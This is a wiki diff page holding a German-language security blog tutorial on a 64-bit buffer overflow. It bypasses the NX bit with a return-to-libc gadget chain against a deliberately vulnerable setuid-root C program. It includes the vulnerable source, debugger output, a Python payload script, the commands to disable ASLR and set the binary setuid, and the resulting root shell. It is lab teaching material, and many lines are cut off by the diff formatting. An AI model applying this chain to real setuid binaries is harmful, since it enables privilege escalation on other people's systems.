Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
| Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
| it-security:blog:buffer_overflow_x64-2 [2024/03/04 18:44] – angelegt psycore | it-security:blog:buffer_overflow_x64-2 [2024/08/02 09:51] (aktuell) – psycore | ||
|---|---|---|---|
| Zeile 1: | Zeile 1: | ||
| - | Buffer Overflow 2 | + | {{tag> |
| + | ====== | ||
| + | |||
| + | Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende Befehl an die [[https:// | ||
| + | |||
| + | ===== Einleitung ===== | ||
| + | |||
| + | {{page> | ||
| + | |||
| + | {{page> | ||
| + | |||
| + | {{: | ||
| + | |||
| + | Weiterführende Infos zum Thema ROP (Return Oriented Programming) und Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am Ende. ((https:// | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Theorie ==== | ||
| + | |||
| + | Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für Schritt überschrieben werden. Um den Prozess nachzuvollziehen, | ||
| + | |||
| + | <code bash> | ||
| + | br *vuln+73 # | ||
| + | r < in.txt # | ||
| + | ... # | ||
| + | RDI: 0x7ffff7fa0a30 --> 0x0 | ||
| + | RBP: 0x4141414141414141 (' | ||
| + | RSP: 0x7fffffffddc8 --> 0x4006a3 (< | ||
| + | RIP: 0x40060f (< | ||
| + | gdb-peta$ si | ||
| + | ... | ||
| + | RDI: 0x7ffff7fa0a30 --> 0x0 | ||
| + | RBP: 0x4141414141414141 (' | ||
| + | RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/ | ||
| + | RIP: 0x4006a3 (< | ||
| + | gdb-peta$ si | ||
| + | ... | ||
| + | RDI: 0x4006ff --> 0x68732f6e69622f ('/ | ||
| + | RBP: 0x4141414141414141 (' | ||
| + | RSP: 0x7fffffffddd8 --> 0x400469 (< | ||
| + | RIP: 0x4006a4 (< | ||
| + | gdb-peta$ si | ||
| + | ... | ||
| + | RDI: 0x4006ff --> 0x68732f6e69622f ('/ | ||
| + | RBP: 0x4141414141414141 (' | ||
| + | RSP: 0x7...fdde0 --> 0x7ffff7e17920 (< | ||
| + | RIP: 0x400469 (< | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== Abhängigkeiten ===== | ||
| + | |||
| + | Was wird benötigt? | ||
| + | |||
| + | Zu den Tools aus [[it-security: | ||
| + | |||
| + | <code bash> | ||
| + | sudo apt install ropper | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== ASLR deaktivieren ===== | ||
| + | |||
| + | Auch hier muss ASLR wieder deaktiviert werden, um konstante Speicherbereiche zu erhalten. In [[https:// | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== C Programm ===== | ||
| + | |||
| + | Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh> | ||
| + | |||
| + | Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das '' | ||
| + | |||
| + | Da es an einem '' | ||
| + | |||
| + | <code c> | ||
| + | /* Code https:// | ||
| + | /* Changes by https:// | ||
| + | /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 | ||
| + | /* Disable ASLR: echo 0 > / | ||
| + | |||
| + | #include < | ||
| + | #include < | ||
| + | |||
| + | int gadg() { | ||
| + | asm ("pop %rdi" | ||
| + | asm (" | ||
| + | | ||
| + | } | ||
| + | |||
| + | int vuln() { | ||
| + | char buf[80]; | ||
| + | int r; | ||
| + | r = read(0, buf, 400); | ||
| + | printf(" | ||
| + | puts(" | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | int main(int argc, char *argv[]) { | ||
| + | setuid(0); | ||
| + | seteuid(0); | ||
| + | printf(" | ||
| + | vuln(); | ||
| + | return 0; | ||
| + | } | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Kompilieren ==== | ||
| + | |||
| + | Nun kompilieren wir das Programm. Wichtig ist, dass der '' | ||
| + | |||
| + | > It seems that gcc build PIE (position indep. exec.). You can check this using " | ||
| + | |||
| + | <code bash> | ||
| + | gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== Exploit ===== | ||
| + | |||
| + | ==== Gadgets ==== | ||
| + | |||
| + | Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir ropper und lassen uns die Gadgets anzeigen | ||
| + | |||
| + | <code bash> | ||
| + | ropper --file bof-part2 | ||
| + | ... | ||
| + | 0x000000000040116a: | ||
| + | ... | ||
| + | 0x0000000000401016: | ||
| + | </ | ||
| + | |||
| + | Wir brauchen '' | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Offsets herausfinden ==== | ||
| + | |||
| + | Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere Datei in den Debugger und starten: | ||
| + | |||
| + | <code bash> | ||
| + | gdb-peda$ start | ||
| + | ... | ||
| + | gdb-peda$ p system | ||
| + | $1 = {int (const char *)} 0x7ffff7e17920 < | ||
| + | |||
| + | gdb-peda$ find "/ | ||
| + | |||
| + | Searching for '/ | ||
| + | Found 2 results, display max 2 items: | ||
| + | bof-part2 : 0x402044 ("/ | ||
| + | bof-part2 : 0x403044 ("/ | ||
| + | </ | ||
| + | |||
| + | Das Offset '' | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== buffer.py ==== | ||
| + | |||
| + | <code bash> | ||
| + | # | ||
| + | |||
| + | from struct import * | ||
| + | |||
| + | buf = "" | ||
| + | buf += " | ||
| + | buf += pack("< | ||
| + | buf += pack("< | ||
| + | buf += pack("< | ||
| + | buf += pack("< | ||
| + | |||
| + | f = open(" | ||
| + | f.write(buf) | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Buffer erzeugen ==== | ||
| + | |||
| + | Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt. | ||
| + | |||
| + | <code bash> | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== Berechtigungen setzen ==== | ||
| + | |||
| + | Unsere Datei benötigt noch die entsprechenden root Berechtigungen. | ||
| + | |||
| + | <code bash> | ||
| + | sudo chown root bof-part2 | ||
| + | sudo chmod 4755 bof-part2 | ||
| + | </ | ||
| + | \\ | ||
| + | \\ | ||
| + | ==== root Shell ==== | ||
| + | |||
| + | Nun starten wir unser Programm und übergeben unseren Buffer als Argument. | ||
| + | |||
| + | <code bash> | ||
| + | (cat in.txt | cat) | ./ | ||
| + | </ | ||
| + | |||
| + | [{{: | ||
| + | |||
| + | Unsere User Shell wird zur root Shell aufgewertet und wir haben unser Ziel erreicht. | ||
| + | \\ | ||
| + | \\ | ||
| + | ===== Repository ===== | ||
| + | |||
| + | ^ Projektdateien | {{ : | ||
| + | ^ Größe | 4,00 KB | | ||
| + | ^ Prüfsumme (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 | | ||
| + | |||
| + | ~~DISCUSSION~~ | ||